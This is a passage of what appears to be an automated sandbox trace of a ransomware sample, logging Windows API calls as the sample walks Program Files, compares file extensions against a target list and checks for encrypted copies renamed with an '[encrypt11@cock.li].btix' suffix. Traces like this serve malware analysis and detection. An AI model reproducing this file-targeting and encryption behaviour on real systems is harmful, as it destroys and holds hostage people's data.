lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0147.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0147.169] lstrlenW (lpString=".doc") returned 4 [0147.169] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0147.169] lstrlenW (lpString=".docx") returned 5 [0147.169] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0147.169] lstrlenW (lpString=".pdf") returned 4 [0147.169] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0147.169] lstrlenW (lpString=".xls") returned 4 [0147.169] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0147.169] lstrlenW (lpString=".xlsx") returned 5 [0147.169] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0147.169] lstrlenW (lpString=".ppt") returned 4 [0147.169] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0147.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0147.169] lstrlenW (lpString=".zip") returned 4 [0147.169] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0147.169] lstrlenW (lpString=".rar") returned 4 [0147.169] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0147.169] lstrlenW (lpString=".bz2") returned 4 [0147.169] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0147.169] lstrlenW (lpString=".7z") returned 3 [0147.169] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0147.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0147.169] lstrlenW (lpString=".dbf") returned 4 [0147.169] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0147.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0147.170] lstrlenW (lpString=".1cd") returned 4 [0147.170] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0147.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0147.170] lstrlenW (lpString=".jpg") returned 4 [0147.170] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0147.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0147.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0147.170] lstrlenW (lpString=".doc") returned 4 [0147.170] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0147.170] lstrlenW (lpString=".docx") returned 5 [0147.170] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0147.170] lstrlenW (lpString=".pdf") returned 4 [0147.170] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0147.170] lstrlenW (lpString=".xls") returned 4 [0147.170] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0147.170] lstrlenW (lpString=".xlsx") returned 5 [0147.170] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0147.170] lstrlenW (lpString=".ppt") returned 4 [0147.170] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0147.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0147.170] lstrlenW (lpString=".zip") returned 4 [0147.170] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0147.170] lstrlenW (lpString=".rar") returned 4 [0147.170] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0147.170] lstrlenW (lpString=".bz2") returned 4 [0147.170] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0147.170] lstrlenW (lpString=".7z") returned 3 [0147.170] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0147.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0147.170] lstrlenW (lpString=".dbf") returned 4 [0147.170] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0147.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0147.170] lstrlenW (lpString=".1cd") returned 4 [0147.171] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0147.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0147.171] lstrlenW (lpString=".jpg") returned 4 [0147.171] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0147.171] Sleep (dwMilliseconds=0x64) [0147.537] lstrcmpiW (lpString1=".inc", lpString2=".btix") returned 1 [0147.537] lstrlenW (lpString="oledbjvs.inc") returned 12 [0147.537] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0147.537] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=9804) returned 1 [0147.538] CloseHandle (hObject=0x374) returned 1 [0147.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc")) returned 0x20 [0147.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.540] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0147.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0147.540] lstrlenW (lpString=".doc") returned 4 [0147.540] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0147.540] lstrlenW (lpString=".docx") returned 5 [0147.540] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0147.540] lstrlenW (lpString=".pdf") returned 4 [0147.540] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0147.540] lstrlenW (lpString=".xls") returned 4 [0147.540] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0147.540] lstrlenW (lpString=".xlsx") returned 5 [0147.540] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0147.540] lstrlenW (lpString=".ppt") returned 4 [0147.540] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0147.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0147.540] lstrlenW (lpString=".zip") returned 4 [0147.540] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0147.540] lstrlenW (lpString=".rar") returned 4 [0147.540] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0147.540] lstrlenW (lpString=".bz2") returned 4 [0147.540] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0147.540] lstrlenW (lpString=".7z") returned 3 [0147.540] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0147.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0147.540] lstrlenW (lpString=".dbf") returned 4 [0147.541] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0147.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0147.541] lstrlenW (lpString=".1cd") returned 4 [0147.541] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0147.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0147.541] lstrlenW (lpString=".jpg") returned 4 [0147.541] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0147.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0147.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0147.541] lstrlenW (lpString=".doc") returned 4 [0147.541] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0147.541] lstrlenW (lpString=".docx") returned 5 [0147.541] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0147.541] lstrlenW (lpString=".pdf") returned 4 [0147.541] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0147.541] lstrlenW (lpString=".xls") returned 4 [0147.541] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0147.541] lstrlenW (lpString=".xlsx") returned 5 [0147.541] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0147.541] lstrlenW (lpString=".ppt") returned 4 [0147.541] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0147.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0147.541] lstrlenW (lpString=".zip") returned 4 [0147.541] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0147.541] lstrlenW (lpString=".rar") returned 4 [0147.541] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0147.541] lstrlenW (lpString=".bz2") returned 4 [0147.541] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0147.541] lstrlenW (lpString=".7z") returned 3 [0147.541] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0147.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0147.541] lstrlenW (lpString=".dbf") returned 4 [0147.541] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0147.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0147.541] lstrlenW (lpString=".1cd") returned 4 [0147.541] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0147.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0147.542] lstrlenW (lpString=".jpg") returned 4 [0147.542] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0147.542] lstrcmpiW (lpString1=".inc", lpString2=".btix") returned 1 [0147.542] lstrlenW (lpString="oledbvbs.inc") returned 12 [0147.542] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0147.542] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=9975) returned 1 [0147.542] CloseHandle (hObject=0x374) returned 1 [0147.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc")) returned 0x20 [0147.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.542] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0147.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0147.543] lstrlenW (lpString=".doc") returned 4 [0147.543] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0147.543] lstrlenW (lpString=".docx") returned 5 [0147.543] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0147.543] lstrlenW (lpString=".pdf") returned 4 [0147.543] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0147.543] lstrlenW (lpString=".xls") returned 4 [0147.543] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0147.543] lstrlenW (lpString=".xlsx") returned 5 [0147.543] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0147.543] lstrlenW (lpString=".ppt") returned 4 [0147.543] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0147.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0147.543] lstrlenW (lpString=".zip") returned 4 [0147.543] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0147.543] lstrlenW (lpString=".rar") returned 4 [0147.543] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0147.543] lstrlenW (lpString=".bz2") returned 4 [0147.543] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0147.543] lstrlenW (lpString=".7z") returned 3 [0147.543] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0147.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0147.543] lstrlenW (lpString=".dbf") returned 4 [0147.543] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0147.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0147.543] lstrlenW (lpString=".1cd") returned 4 [0147.543] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0147.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0147.544] lstrlenW (lpString=".jpg") returned 4 [0147.544] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0147.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0147.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0147.544] lstrlenW (lpString=".doc") returned 4 [0147.544] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0147.544] lstrlenW (lpString=".docx") returned 5 [0147.544] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0147.544] lstrlenW (lpString=".pdf") returned 4 [0147.544] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0147.544] lstrlenW (lpString=".xls") returned 4 [0147.544] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0147.544] lstrlenW (lpString=".xlsx") returned 5 [0147.544] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0147.544] lstrlenW (lpString=".ppt") returned 4 [0147.544] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0147.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0147.544] lstrlenW (lpString=".zip") returned 4 [0147.544] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0147.544] lstrlenW (lpString=".rar") returned 4 [0147.544] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0147.544] lstrlenW (lpString=".bz2") returned 4 [0147.544] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0147.544] lstrlenW (lpString=".7z") returned 3 [0147.544] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0147.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0147.544] lstrlenW (lpString=".dbf") returned 4 [0147.544] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0147.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0147.545] lstrlenW (lpString=".1cd") returned 4 [0147.545] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0147.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0147.545] lstrlenW (lpString=".jpg") returned 4 [0147.545] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0147.545] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0147.545] lstrlenW (lpString="FD02075_.WMF") returned 12 [0147.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0147.545] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=4396) returned 1 [0147.545] CloseHandle (hObject=0x374) returned 1 [0147.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf")) returned 0x220 [0147.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0x20 [0147.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0147.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0147.546] lstrlenW (lpString=".doc") returned 4 [0147.546] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.546] lstrlenW (lpString=".docx") returned 5 [0147.546] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.546] lstrlenW (lpString=".pdf") returned 4 [0147.546] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.546] lstrlenW (lpString=".xls") returned 4 [0147.546] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.546] lstrlenW (lpString=".xlsx") returned 5 [0147.546] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.546] lstrlenW (lpString=".ppt") returned 4 [0147.546] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0147.546] lstrlenW (lpString=".zip") returned 4 [0147.546] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.546] lstrlenW (lpString=".rar") returned 4 [0147.546] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.546] lstrlenW (lpString=".bz2") returned 4 [0147.546] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.546] lstrlenW (lpString=".7z") returned 3 [0147.546] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0147.547] lstrlenW (lpString=".dbf") returned 4 [0147.547] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0147.547] lstrlenW (lpString=".1cd") returned 4 [0147.547] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0147.547] lstrlenW (lpString=".jpg") returned 4 [0147.547] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0147.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0147.547] lstrlenW (lpString=".doc") returned 4 [0147.547] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.547] lstrlenW (lpString=".docx") returned 5 [0147.547] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.547] lstrlenW (lpString=".pdf") returned 4 [0147.547] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.547] lstrlenW (lpString=".xls") returned 4 [0147.547] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.547] lstrlenW (lpString=".xlsx") returned 5 [0147.547] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.547] lstrlenW (lpString=".ppt") returned 4 [0147.547] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0147.547] lstrlenW (lpString=".zip") returned 4 [0147.547] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.547] lstrlenW (lpString=".rar") returned 4 [0147.547] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.547] lstrlenW (lpString=".bz2") returned 4 [0147.547] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.547] lstrlenW (lpString=".7z") returned 3 [0147.547] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0147.548] lstrlenW (lpString=".dbf") returned 4 [0147.548] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0147.548] lstrlenW (lpString=".1cd") returned 4 [0147.548] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0147.548] lstrlenW (lpString=".jpg") returned 4 [0147.548] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.548] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0147.548] lstrlenW (lpString="FD02088_.WMF") returned 12 [0147.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0147.548] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=3696) returned 1 [0147.548] CloseHandle (hObject=0x374) returned 1 [0147.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf")) returned 0x220 [0147.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0x20 [0147.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0147.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0147.549] lstrlenW (lpString=".doc") returned 4 [0147.549] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.549] lstrlenW (lpString=".docx") returned 5 [0147.549] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.549] lstrlenW (lpString=".pdf") returned 4 [0147.549] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.549] lstrlenW (lpString=".xls") returned 4 [0147.549] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.549] lstrlenW (lpString=".xlsx") returned 5 [0147.549] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.549] lstrlenW (lpString=".ppt") returned 4 [0147.549] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0147.549] lstrlenW (lpString=".zip") returned 4 [0147.549] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.549] lstrlenW (lpString=".rar") returned 4 [0147.549] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.549] lstrlenW (lpString=".bz2") returned 4 [0147.549] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.549] lstrlenW (lpString=".7z") returned 3 [0147.549] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0147.549] lstrlenW (lpString=".dbf") returned 4 [0147.549] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0147.549] lstrlenW (lpString=".1cd") returned 4 [0147.549] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0147.549] lstrlenW (lpString=".jpg") returned 4 [0147.549] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0147.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0147.550] lstrlenW (lpString=".doc") returned 4 [0147.550] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.550] lstrlenW (lpString=".docx") returned 5 [0147.550] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.550] lstrlenW (lpString=".pdf") returned 4 [0147.550] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.550] lstrlenW (lpString=".xls") returned 4 [0147.550] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.550] lstrlenW (lpString=".xlsx") returned 5 [0147.550] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.550] lstrlenW (lpString=".ppt") returned 4 [0147.550] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0147.550] lstrlenW (lpString=".zip") returned 4 [0147.550] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.550] lstrlenW (lpString=".rar") returned 4 [0147.550] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.550] lstrlenW (lpString=".bz2") returned 4 [0147.550] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.550] lstrlenW (lpString=".7z") returned 3 [0147.550] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0147.550] lstrlenW (lpString=".dbf") returned 4 [0147.550] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 